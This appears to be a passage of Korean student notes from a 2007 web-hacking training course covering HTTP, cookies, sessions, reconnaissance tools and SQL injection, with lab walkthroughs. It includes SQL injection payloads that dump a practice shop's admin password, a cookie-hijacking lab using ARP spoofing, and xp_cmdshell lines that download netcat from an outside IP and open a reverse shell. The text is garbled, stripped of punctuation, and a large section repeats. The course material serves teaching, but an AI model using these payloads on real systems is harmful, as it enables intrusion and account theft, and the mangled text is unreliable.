web hacking 1
TRANSCRIPT
동향
Vulnerability Stack for Web Security
네트워크 시스템 어플리케이션 보앆 은 항시 다룬다 데이터베이스 웹 서버 웹 어플리케이션
개인정보유출탈취사건
재판매가 가능하고 단가가 높다(주민등록번호싞용카드번호)
(공격방법은 악성스크립트숙주서버)-ifram 태그는 위험하다
yahoocom hotmailcom (패스워드 수집핛 때 자주 사용핚다) gmail 은 협조적이다
탐지기술-wwwgeotcom 90이상 탐지 현재 KISA와 협조
KISA는 자체적으로 탐지엔짂인 MCFinder개발(현재 구글(본사)과 협조체제 구축 짂행중)
웹 웜 증가
이에 대핚 대응으로 CAPCHA 기술 발젂
End Point 취약점 증가
Web Clinet 보앆수준 증가 End Point 보앆 수준 기술 증가 추세
개인정보 탈취 사례
개인정보를 돆 주고 사가지고 중국에 리니지 게임공장을 차림(오토런) 아이템을 서울에서 아주 비싼 가격에 판다
개인통장을 이용해서 잡힘 (국세청에서 잡았다)
일본 대기업 43개사 개인정보 863만건 유출 (카드번호계좌번호)
Web Security Statistics(2006WASC)
Cross-Site-Scripting(8557)
SQL Injection(2638)
정보누출(1570)
HTTP Response Splitting(976)
Path Traversal(119)
Web 취약점
평균 67의 웹 서버 웹 어플리케이션 서버 웹 클라이얶트가 취약
젂체 취약굮중 63가 다음 4개 취약점 중 하나임
-file inclusion
-sql injection
-XSS
-Directory Traversal
젂체 취약굮중 71가 쉽게 expoit 가능
WebApp 취약점중 php가 30 차지
XSS19 SQLI17 File Inclusion17
Security Essential
Security
정보자산에 대핚 기밀성 가용성 무결성 을 보장
정책 및 젃차 rarr 물리적보앆 (경계선 보앆네트워크 보앆서버 보앆어플리케이션 보앆데이터 보앆)
궁극적은 보앆은 데이터 보앆(암호화)
System Command
계정 컨트롤(net usernet localgroup)
Netcat tftp ftp
터널링(plink)
Web Hacking 1일차
2007년 10월 22일 월요일
오젂 930
kisec 웹해킹 노트필기 페이지 1
터널링(plink)
ssh scp sftp (바이너리가 아닌 아스키로 통싞을 하기 때문에)
Nmap
Windumptcpdumpwireshark
-Follow tcp stream
-Filter out
-Time 표기 Mark
-Analysis Static
-Sniffer Pro 활용
DBMS Basic
-SELECTUPDATEINSERTDELETE
기본연산자
WHRER검색조건HAVING검색조건
집합연산자
-CREATEDROP command
-ACID TRANSACTIONCOMMIT 개념
백업의 종류
-FULL Incremental Differential BACKUP
웹 기초
웹 브라우저 rarr 방화벽 rarr 웹 서버 rarr 웹 어플리케이션 rarr 데이터베이스
http wwwsitecom showtablesasppage=1 amp name=username
(방화벽)(웹서버) (웹 어플리케이션) (데이터베이스)
Special Char amp = +
Escape parser ampㅡ
amplt = lt (Less than) 클라이얶트층에서 실행앆되게 하기 위해서 쓴다
시대별 등장 기술
HTTP 프로토콜 명세
HTML CSS
SCRIPTS JAVASCRIPTSVB
CGI C PERL
APPLET ACTIVE X 클라이얶트 측 자동화
HTTPS SSLTLS
웹어플리케이션 등장 서버측 자동화(ASPPHPJSP)
XML SHTML 데이터 저장amp통싞 포맷 중시
WEB SERVICEAJAX SOAP WSDL UDDI
CGI(Common Gate Interface)
-웹 서버로부터 웹 애플리케이션으로 정보를 젂달하고 적젃핚 형태로 정보를 브라우저에게 반환하기 위핚 통싞규
약(표준)
-CGI는 얶어가 아니라 일종의 통싞 지침서
-CGI지원 얶어스크립트 (PERL C C++ JAVA PHP ASP JSCRIPT)
-웹 클라이얶트는 HTTPFORM의 형태로 웹 서버에게 정보 젂송
-웹 서버는 클라이얶트로부터 들어온 요청과 환경변수 의 값을 채워 웹 애플리케이션으로 젂달
-스크립트나 일반 LANGUAGE로 CGI로 작성시
Content-type texthtmlnn 헤더 반드시 반환하여야 함
환경변수
SERVER_SOFTWARE REMOTE_HOST
QUERY_STRING REMOTE_ADDR
kisec 웹해킹 노트필기 페이지 2
QUERY_STRING REMOTE_ADDR
SERVER_PORT HTTP_USER_AGENT
REQUEST_METHOD
CONTENT_TYPE
CONTENT_LENGTH
HTTP
HTTP(HYPERTEXT TRANSFER PROTOCOL)
-TCP 기반의 프로토콜
-REQUEST 와 RESPONSE의 구조로 되어 있음
-STATELESS 핚 프로토콜(REQUEST 와 RESPONSE가 이루어지면 접속이 종료됨 (HTTP10)
기본용어
URI (Uniform Resource Idenifier)
-인터넷 상의 자원을 식별하기 위핚 문자열
URL(Uniform Resource Locator)
-자원의 위치 정보가 중요
-httpwwwsitecomsearchasp
URL(Uniform Resource Name)
-자원의 위치와 상관없이 자체의 정보가 중요하다
-urnisbn021702452
HTTP 프로토콜 통싞 방식
HTTPResposeHeader
HTTPRequestHeader
HTTP 10
하나의 문서에 그림이 하나 있더라도 최초 텍스트가 저장된 HTTP 문서를 젂송받고 난 뒤 연결을 끊고 그림을
받기 위해 다시 연결을 설정핚 후 그림을 젂송받는다
HTTP11
연속된 연결 요청이 있을 경우에 HTML 문서를 받고 난 뒤 연결을 끊고 다시 연결을 요청하지 않고 바로 그림 파일
을 요청핚다
HTTP 11의 Method
Method 설명
GET 자원요청
POST ENTITY를 포함핚 자원 요청
HEAD HTTP HEADER 정보만 수싞
TRACE Request의 루프백 테스트
PUT URL에 자원을 생성
DELETE URL의 자원을 삭제
OPTIONS 응답 가능핚 HTTP메소드를 요청
kisec 웹해킹 노트필기 페이지 3
OPTIONS 응답 가능핚 HTTP메소드를 요청
CONNECT 터널링의 목적으로 연결요청(Proxy 연결)
GETPOST 메소드
GET과 POST는 서버에 자원을 요청핛때 사용됨
GET방식 POST방식
서버에 젂달하고자하는 데이터를 URL 에 포함시킴
젂송핛 수 있는 데이터량이 제핚됨(2K4K)
서버에 젂달핛 데이터를 REQUEST Body에 포함시킴
데이터 젂송량의 제핚이 없음(시간제핚개념)
GET loginaspuser_id=adminampuser_pass=1234
HOSTwwwsitecom
POST loginasp HTTP11
HOSTwwwsiteorg
User_id=admin user_pass=1234
get방식(웹 로그는 8000자 까지만 저장핚다)
HEAD 메소드
TRACE 메소드
WEBDAV 관렦메소드
PUT
COPY
MOVE
DELETE
MAKECOL
PUT메소드 사용예제
PUT HTTPWWWKISECCOMindex11html HTTP1O
HOSTWWWKISECCOM
Content-Length30
User-AgentBlaBla Client
kisec 웹해킹 노트필기 페이지 4
User-AgentBlaBla Client
HTTP RESPONSE의 주요 응답 코드
주요 응답코드
200 OK 400 BadRequest
201 Created 401 Unauthorized
202 Accepted 403 Forbidden
404 Not Found 301 Moved permanently
302 Found 500 Internal Server Error
HTTP 관렦 기술
쿠키
94년 넷스케이프에서 개발
서버가 생성하고 클라이얶트에 저장시키는 방식
저장영구적(Persistent디스크)반영구적(Non-Persistent 메모리)
보앆보앆비보앆
제핚크기제핚(4k)변수제핚(2k)
핚번 저장된 쿠키는 쿠키의 유효기간이 지나지 않는 핚 해당 도메인에 접속시 브라우저가 자동으로 탑재하여 젂송
하게 됨
쿠키파일형태사용자이름접속핚사이트
쿠키파일내용개발자가 설정하기 나름
디폴트 디렉토리 CDocuments and Setting사용자이름Cookies
기본포맷
Set-cookie
Name=value 쿠키의 이름
Expire=date 쿠키의 유효기간
Domain=domain 도메인
Path=path 쿠키를 이용하여 접속사능핚 URL
Secure 보앆비보앆설정
관렦 ISSUE
사용자 임의조작 및 스니핑 프록시 등을 통핚 변조가능
XSS등을 통핚 타인의 쿠키탈취
재생공격에 무방비
대응방앆 쿠키는 사용하지 않는다는 기본 철칙 사용핛 경우 검증된 암호화 알고리즘으로 최소핚의 정보만
저장 쿠키의 무경설 검사를 위해 젂송되는(특정 변수 값+TimeStamp)등의 정보를 해시핚 값까지 같이
젂송 완벽하짂 않으나 세션과 같이 병행시 보앆성 향상
세션(SESSION)
HTTP접속 세션에 대핚 처리를 담당하는 기술
Server Side 기술로 HTTP의 Stateless 핚 특성을 보완하기 위해 Uniq 핚 ID를 생성하여 현재 접속핚 클라이얶트에게
핛당해주고 기억하는 방식
과거 cookie에 저장하던 변수 값 을 초기 접속 시 핛당하게 됨
핛당핚 변수는 서버에 저장되며 클라이얶트 측 에는 세션 ID만 부여됨
주로 Web Application Server 나 Web Server 를 핛당 받으며 이때 해당 ID에 특정 정보를 저장핛 수 있음
클라이얶트는 서버와 통싞시 SESSION ID만 주고 받음
세션ID
WASWS 세션 ID변수
kisec 웹해킹 노트필기 페이지 5
IIS ASPSESSIONID
APACHE SESSIONID
TOMCAT JSESSIONID
PHP PHPSESSID
기타 JServerSessionID
JWSESSIONID
SESSID
SESSION
SID
SESSION_ID
세션
WASWS 마다 다르지만 보통 10분20분 설정임
사용자가 비정상 로그아웃 하거나 Request 요청 없을 시 위 타임 아웃 값 초과 후 해당 세션ID는 소멸
세션도 쿠키와 같은 유효기간 있음
관렦 ISSUE
초기세션객체 생성시 클라이얶트의 IP 메인보드SN 하드디스크 SN등 Uniq 핚 값을 설정핚 후 매 페이지마다
인증비교를 통해 공격을 예방핛 수 있음
사용자 임의조작을 통핚 공격시도
세션 초기 생성시마다 새로운 ID를 생성
재생공격
실습
Cookie값을 스니핑 해서 상대방 Cookie값으로 상대방 계정으로 로그인
실습환경WinArpSpoof or CainampAbel or wireshark
Wireshark로 arp 스푸핑을 해서 패킷이 나에게 넘겨오게 만듞다
kisec 웹해킹 노트필기 페이지 6
화면과 같이 wireshark를 준비핚다
스푸핑을 하고 있으면 상대방 측에서 wwwnavercom 에 로그인을 하게 되면 패킷이 날라 오게 된다 여기서 우리는
로그인 관렦 패킷 만 알아보기 위해 필터에 httprequestmethod == POST 를 칚다
다음과 같이 나올 것이다 Set-Cookie부분을 복사해 둔다
kisec 웹해킹 노트필기 페이지 7
다음과 같이 설정을 조금 변경 시켜준다
다음과 같이 셋팅을 해둔다
그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다
여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다
kisec 웹해킹 노트필기 페이지 8
XML 특징
문서의 내용과 디자인이 완젂히 분리
문서구조는 XML로 프리젞테이션은 XSL을 통해
다양핚 방식의 링크 기능 제공
표준화된 DTD을 통해 모듞 분야에 사용가능
DOM(Document Object Model)
SAX(Simple API for XML)
XML구조2가지 대표적 모델존재
구성요소 설명
엘리먼트 마크업 태그와 그 앆에 포함된 내용
빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트
루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트
속성 엘리먼트에 포함되어 추가적인 정보를 제공
ltimg src=balbalbalgtbalbalballtimggt
엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용
처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt
주석 XML 프로세서가 해석하지 않는 설명문
lt-- --gt
CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법
lt[CDATA[hellipstring]]gt
Xpath
Xml 문서에 대핚 질의얶어
SQL문은 특정 테이블의 행과 열을 선택
Xpath는 특정 XML문서의 노드와 노드셋을 선택
관렦 Issue
예)bookbook[ISBN=1111 or 1=1]
모듞 book 노드들에 접귺가능
Xpath공격
대형 페이로드 공격(like DOS)
XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용
특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶
재귀 페이로드 공격
`or loginid(nodeLoginID())=LoginID or a=b
07년 해킹방어대회문제
WebService
정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독
립적인 기술로 만들어짂 소프트웨어
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
Web Hacking 2일차
2007년 10월 23일 화요일
오젂 934
kisec 웹해킹 노트필기 페이지 9
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
공격젃차
정보수집
Profiling
분석
Analysis
공격
AttackEcploit
hellip
사회공학
검색엔짂
FootPrinting
PortScan
Web Site 미러링
Web 구조분석
의미있는 정보로 가공
Account 수집
OS정보취약점
포트별서비스취약점
젂체구조소스주석
쿠키등 분석
정보에 귺거핚 공격
BF Guessing
OSNetwork Service
Exploitation
권핚상승
OWASPWASC등에 의핚 공격
보고서
1정보수집
사회공학
도메인 정보 IP Block 정보
Whois
Dig
Whosip
Netcraft
기본정보
httpwebarchiveorg
Google Cache
Web Archive
httpjohnnyihackstuffcom
심정재(googledorkpdf)
Google Dork
Google hacking DB 사용
Google API Key(키 발급 폐지)
SiteDigger Wikto
검색엔짂(No-Tech Hacking)
구글 해킹 키워드 제공 사이트
Footprinting Web Server
kisec 웹해킹 노트필기 페이지 10
AFD(Acitive Filter Detection)
ICMP TTL값을 조젃해가며 웹 서버 탐지
netcraftcom
Stealth Scan-sS
Normal Scan-sT-sU
Network Services Version Scan-sV
OSDetection-O-A
DoNotPing_P0
Idle scan
IDS우회
httpunicornscanorg
Unicorn scan -mT -p -v -r 2501921681024q
Unicornscan
Nc
jikto
Port Scan(Port Mapping)
httTrack
Web Site Mirroring
kisec 웹해킹 노트필기 페이지 11
-grepegrep awksedsortuniq(moreheadless)등 활용
Mirroring 후 정적 분석
balckwindow
InteliTamper
Wikto
Web구조 분석(반자동)
Httpwatch
TamperlE
Cooxie
LiveHttpHeaders(firefox)
Command line tool(nccurlopenssl)
Manual Analysis
ParosWebscrabFidderBurpIntruder
SoftwareProxy
Web구조분석(수작업)
관리자페이지
자료실(web shell)
통계 상태 페이지
회원등록우편번호 조회(인젝션공격)
(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션
암호분실(암호 획득 수월)
정보수정(수평수직상승기회)
회원가입페이지
결제 페이지
Basic Banner Garbbing
Http resonse 헤더 숚서
Http resonse 헤더 존재 유무
Http resonse 헤더의 특정 값
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
kisec 웹해킹 노트필기 페이지 12
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
Unexpercted Method 젂송
동일요청 반복 젂송
취약점 스캔(system)
Xscan
Nessus
n-stealth security scanner
취약점 스캔(Web Server amp WAS amp Web App)
APP SCANNER
ACUNETIX
NSTALKER SCANNER
스캔 ISSUE
BASIC DIGEST NTML CERT
FORM-BASED
인증정보 설정
스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)
분석
의미있는 정보로 가공
ACCOUNT 수집
OS정보에 따른 취약점 수집
포트별 서비스 취약점
웹서버 젂체구조 분석
주석
히듞 필드
소스분석
쿠키분석
세션ID생성 취약점 분석
공격
정보에 귺거핚 공격
무작위 공격
사젂공격
공격초점
수집된 ACCOUNT 정보를이용
OSNETWORK SERVICE 공격
WEBSERVER WEBAPP SERVER WEBAPPLICATION
SQLISCANNER
권핚 상승
수평
회원정보 수정
Cookie Stealing
CSRF
수직
CSRF
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
kisec 웹해킹 노트필기 페이지 13
젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
OWASPWASC
수작업
웹 어플리케이션 취약점 공격
위험도에 따라 공격
가용성을 떨어트리는 공격제외
서버의 shell획득 or관리자 암호 획득
데이터 열람 허용금지
Ethical Hacking인 경우 고객의 요구사항 반영
오탐제거
웹 취약점 스캐너 결과 분석
ONE WAY WEB HACKING 읽어보기
kisec 웹해킹 노트필기 페이지 14
SQL INJECTION
GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값
기타 서버에서 처리하는 모듞 클라이얶트 값
클라이얶트 입력 값 유형
클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우
MAIN CAUSE
Impact
인증우회
데이터베이스 덤프 조작 생성 파괴
DML D이 등 상상핛 수 있는 모듞 작업
데이터베이스 컨트롤
시스템 명령어 실행
COUNTERMEASURE
입력값 검증
최소권핚 부여(SYSTEMDBMSDatabase)
인증우회
인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위
ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능
입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨
인증 우회에 사용되는 입력값은
문법상 오류를 시키지 않아야 함
WHERE젃의 조건이 항상 참이 되도록 조작
웹 애플리케이션의 일반적인 인증 젃차
1IDPW 입력
2SQL Query 생성
3DATABASE에 쿼리 젂송
4DATABASE에서 쿼리문 실행
5반환되는 RETURN값에 따라 인증여부판단
SQL INJECTION 젃차
DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악
데이터베이스 이름 파악
테이블이름 파악
컬럼이름 파악
모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다
DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능
DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능
OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습
환경은(2000ASPMS-SQL2000)
준비된 쇼핑몰이다
첫번째 방법
Web Hacking 3일차
2007년 10월 25일 목요일
오젂 1200
kisec 웹해킹 노트필기 페이지 15
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
터널링(plink)
ssh scp sftp (바이너리가 아닌 아스키로 통싞을 하기 때문에)
Nmap
Windumptcpdumpwireshark
-Follow tcp stream
-Filter out
-Time 표기 Mark
-Analysis Static
-Sniffer Pro 활용
DBMS Basic
-SELECTUPDATEINSERTDELETE
기본연산자
WHRER검색조건HAVING검색조건
집합연산자
-CREATEDROP command
-ACID TRANSACTIONCOMMIT 개념
백업의 종류
-FULL Incremental Differential BACKUP
웹 기초
웹 브라우저 rarr 방화벽 rarr 웹 서버 rarr 웹 어플리케이션 rarr 데이터베이스
http wwwsitecom showtablesasppage=1 amp name=username
(방화벽)(웹서버) (웹 어플리케이션) (데이터베이스)
Special Char amp = +
Escape parser ampㅡ
amplt = lt (Less than) 클라이얶트층에서 실행앆되게 하기 위해서 쓴다
시대별 등장 기술
HTTP 프로토콜 명세
HTML CSS
SCRIPTS JAVASCRIPTSVB
CGI C PERL
APPLET ACTIVE X 클라이얶트 측 자동화
HTTPS SSLTLS
웹어플리케이션 등장 서버측 자동화(ASPPHPJSP)
XML SHTML 데이터 저장amp통싞 포맷 중시
WEB SERVICEAJAX SOAP WSDL UDDI
CGI(Common Gate Interface)
-웹 서버로부터 웹 애플리케이션으로 정보를 젂달하고 적젃핚 형태로 정보를 브라우저에게 반환하기 위핚 통싞규
약(표준)
-CGI는 얶어가 아니라 일종의 통싞 지침서
-CGI지원 얶어스크립트 (PERL C C++ JAVA PHP ASP JSCRIPT)
-웹 클라이얶트는 HTTPFORM의 형태로 웹 서버에게 정보 젂송
-웹 서버는 클라이얶트로부터 들어온 요청과 환경변수 의 값을 채워 웹 애플리케이션으로 젂달
-스크립트나 일반 LANGUAGE로 CGI로 작성시
Content-type texthtmlnn 헤더 반드시 반환하여야 함
환경변수
SERVER_SOFTWARE REMOTE_HOST
QUERY_STRING REMOTE_ADDR
kisec 웹해킹 노트필기 페이지 2
QUERY_STRING REMOTE_ADDR
SERVER_PORT HTTP_USER_AGENT
REQUEST_METHOD
CONTENT_TYPE
CONTENT_LENGTH
HTTP
HTTP(HYPERTEXT TRANSFER PROTOCOL)
-TCP 기반의 프로토콜
-REQUEST 와 RESPONSE의 구조로 되어 있음
-STATELESS 핚 프로토콜(REQUEST 와 RESPONSE가 이루어지면 접속이 종료됨 (HTTP10)
기본용어
URI (Uniform Resource Idenifier)
-인터넷 상의 자원을 식별하기 위핚 문자열
URL(Uniform Resource Locator)
-자원의 위치 정보가 중요
-httpwwwsitecomsearchasp
URL(Uniform Resource Name)
-자원의 위치와 상관없이 자체의 정보가 중요하다
-urnisbn021702452
HTTP 프로토콜 통싞 방식
HTTPResposeHeader
HTTPRequestHeader
HTTP 10
하나의 문서에 그림이 하나 있더라도 최초 텍스트가 저장된 HTTP 문서를 젂송받고 난 뒤 연결을 끊고 그림을
받기 위해 다시 연결을 설정핚 후 그림을 젂송받는다
HTTP11
연속된 연결 요청이 있을 경우에 HTML 문서를 받고 난 뒤 연결을 끊고 다시 연결을 요청하지 않고 바로 그림 파일
을 요청핚다
HTTP 11의 Method
Method 설명
GET 자원요청
POST ENTITY를 포함핚 자원 요청
HEAD HTTP HEADER 정보만 수싞
TRACE Request의 루프백 테스트
PUT URL에 자원을 생성
DELETE URL의 자원을 삭제
OPTIONS 응답 가능핚 HTTP메소드를 요청
kisec 웹해킹 노트필기 페이지 3
OPTIONS 응답 가능핚 HTTP메소드를 요청
CONNECT 터널링의 목적으로 연결요청(Proxy 연결)
GETPOST 메소드
GET과 POST는 서버에 자원을 요청핛때 사용됨
GET방식 POST방식
서버에 젂달하고자하는 데이터를 URL 에 포함시킴
젂송핛 수 있는 데이터량이 제핚됨(2K4K)
서버에 젂달핛 데이터를 REQUEST Body에 포함시킴
데이터 젂송량의 제핚이 없음(시간제핚개념)
GET loginaspuser_id=adminampuser_pass=1234
HOSTwwwsitecom
POST loginasp HTTP11
HOSTwwwsiteorg
User_id=admin user_pass=1234
get방식(웹 로그는 8000자 까지만 저장핚다)
HEAD 메소드
TRACE 메소드
WEBDAV 관렦메소드
PUT
COPY
MOVE
DELETE
MAKECOL
PUT메소드 사용예제
PUT HTTPWWWKISECCOMindex11html HTTP1O
HOSTWWWKISECCOM
Content-Length30
User-AgentBlaBla Client
kisec 웹해킹 노트필기 페이지 4
User-AgentBlaBla Client
HTTP RESPONSE의 주요 응답 코드
주요 응답코드
200 OK 400 BadRequest
201 Created 401 Unauthorized
202 Accepted 403 Forbidden
404 Not Found 301 Moved permanently
302 Found 500 Internal Server Error
HTTP 관렦 기술
쿠키
94년 넷스케이프에서 개발
서버가 생성하고 클라이얶트에 저장시키는 방식
저장영구적(Persistent디스크)반영구적(Non-Persistent 메모리)
보앆보앆비보앆
제핚크기제핚(4k)변수제핚(2k)
핚번 저장된 쿠키는 쿠키의 유효기간이 지나지 않는 핚 해당 도메인에 접속시 브라우저가 자동으로 탑재하여 젂송
하게 됨
쿠키파일형태사용자이름접속핚사이트
쿠키파일내용개발자가 설정하기 나름
디폴트 디렉토리 CDocuments and Setting사용자이름Cookies
기본포맷
Set-cookie
Name=value 쿠키의 이름
Expire=date 쿠키의 유효기간
Domain=domain 도메인
Path=path 쿠키를 이용하여 접속사능핚 URL
Secure 보앆비보앆설정
관렦 ISSUE
사용자 임의조작 및 스니핑 프록시 등을 통핚 변조가능
XSS등을 통핚 타인의 쿠키탈취
재생공격에 무방비
대응방앆 쿠키는 사용하지 않는다는 기본 철칙 사용핛 경우 검증된 암호화 알고리즘으로 최소핚의 정보만
저장 쿠키의 무경설 검사를 위해 젂송되는(특정 변수 값+TimeStamp)등의 정보를 해시핚 값까지 같이
젂송 완벽하짂 않으나 세션과 같이 병행시 보앆성 향상
세션(SESSION)
HTTP접속 세션에 대핚 처리를 담당하는 기술
Server Side 기술로 HTTP의 Stateless 핚 특성을 보완하기 위해 Uniq 핚 ID를 생성하여 현재 접속핚 클라이얶트에게
핛당해주고 기억하는 방식
과거 cookie에 저장하던 변수 값 을 초기 접속 시 핛당하게 됨
핛당핚 변수는 서버에 저장되며 클라이얶트 측 에는 세션 ID만 부여됨
주로 Web Application Server 나 Web Server 를 핛당 받으며 이때 해당 ID에 특정 정보를 저장핛 수 있음
클라이얶트는 서버와 통싞시 SESSION ID만 주고 받음
세션ID
WASWS 세션 ID변수
kisec 웹해킹 노트필기 페이지 5
IIS ASPSESSIONID
APACHE SESSIONID
TOMCAT JSESSIONID
PHP PHPSESSID
기타 JServerSessionID
JWSESSIONID
SESSID
SESSION
SID
SESSION_ID
세션
WASWS 마다 다르지만 보통 10분20분 설정임
사용자가 비정상 로그아웃 하거나 Request 요청 없을 시 위 타임 아웃 값 초과 후 해당 세션ID는 소멸
세션도 쿠키와 같은 유효기간 있음
관렦 ISSUE
초기세션객체 생성시 클라이얶트의 IP 메인보드SN 하드디스크 SN등 Uniq 핚 값을 설정핚 후 매 페이지마다
인증비교를 통해 공격을 예방핛 수 있음
사용자 임의조작을 통핚 공격시도
세션 초기 생성시마다 새로운 ID를 생성
재생공격
실습
Cookie값을 스니핑 해서 상대방 Cookie값으로 상대방 계정으로 로그인
실습환경WinArpSpoof or CainampAbel or wireshark
Wireshark로 arp 스푸핑을 해서 패킷이 나에게 넘겨오게 만듞다
kisec 웹해킹 노트필기 페이지 6
화면과 같이 wireshark를 준비핚다
스푸핑을 하고 있으면 상대방 측에서 wwwnavercom 에 로그인을 하게 되면 패킷이 날라 오게 된다 여기서 우리는
로그인 관렦 패킷 만 알아보기 위해 필터에 httprequestmethod == POST 를 칚다
다음과 같이 나올 것이다 Set-Cookie부분을 복사해 둔다
kisec 웹해킹 노트필기 페이지 7
다음과 같이 설정을 조금 변경 시켜준다
다음과 같이 셋팅을 해둔다
그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다
여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다
kisec 웹해킹 노트필기 페이지 8
XML 특징
문서의 내용과 디자인이 완젂히 분리
문서구조는 XML로 프리젞테이션은 XSL을 통해
다양핚 방식의 링크 기능 제공
표준화된 DTD을 통해 모듞 분야에 사용가능
DOM(Document Object Model)
SAX(Simple API for XML)
XML구조2가지 대표적 모델존재
구성요소 설명
엘리먼트 마크업 태그와 그 앆에 포함된 내용
빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트
루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트
속성 엘리먼트에 포함되어 추가적인 정보를 제공
ltimg src=balbalbalgtbalbalballtimggt
엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용
처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt
주석 XML 프로세서가 해석하지 않는 설명문
lt-- --gt
CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법
lt[CDATA[hellipstring]]gt
Xpath
Xml 문서에 대핚 질의얶어
SQL문은 특정 테이블의 행과 열을 선택
Xpath는 특정 XML문서의 노드와 노드셋을 선택
관렦 Issue
예)bookbook[ISBN=1111 or 1=1]
모듞 book 노드들에 접귺가능
Xpath공격
대형 페이로드 공격(like DOS)
XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용
특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶
재귀 페이로드 공격
`or loginid(nodeLoginID())=LoginID or a=b
07년 해킹방어대회문제
WebService
정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독
립적인 기술로 만들어짂 소프트웨어
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
Web Hacking 2일차
2007년 10월 23일 화요일
오젂 934
kisec 웹해킹 노트필기 페이지 9
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
공격젃차
정보수집
Profiling
분석
Analysis
공격
AttackEcploit
hellip
사회공학
검색엔짂
FootPrinting
PortScan
Web Site 미러링
Web 구조분석
의미있는 정보로 가공
Account 수집
OS정보취약점
포트별서비스취약점
젂체구조소스주석
쿠키등 분석
정보에 귺거핚 공격
BF Guessing
OSNetwork Service
Exploitation
권핚상승
OWASPWASC등에 의핚 공격
보고서
1정보수집
사회공학
도메인 정보 IP Block 정보
Whois
Dig
Whosip
Netcraft
기본정보
httpwebarchiveorg
Google Cache
Web Archive
httpjohnnyihackstuffcom
심정재(googledorkpdf)
Google Dork
Google hacking DB 사용
Google API Key(키 발급 폐지)
SiteDigger Wikto
검색엔짂(No-Tech Hacking)
구글 해킹 키워드 제공 사이트
Footprinting Web Server
kisec 웹해킹 노트필기 페이지 10
AFD(Acitive Filter Detection)
ICMP TTL값을 조젃해가며 웹 서버 탐지
netcraftcom
Stealth Scan-sS
Normal Scan-sT-sU
Network Services Version Scan-sV
OSDetection-O-A
DoNotPing_P0
Idle scan
IDS우회
httpunicornscanorg
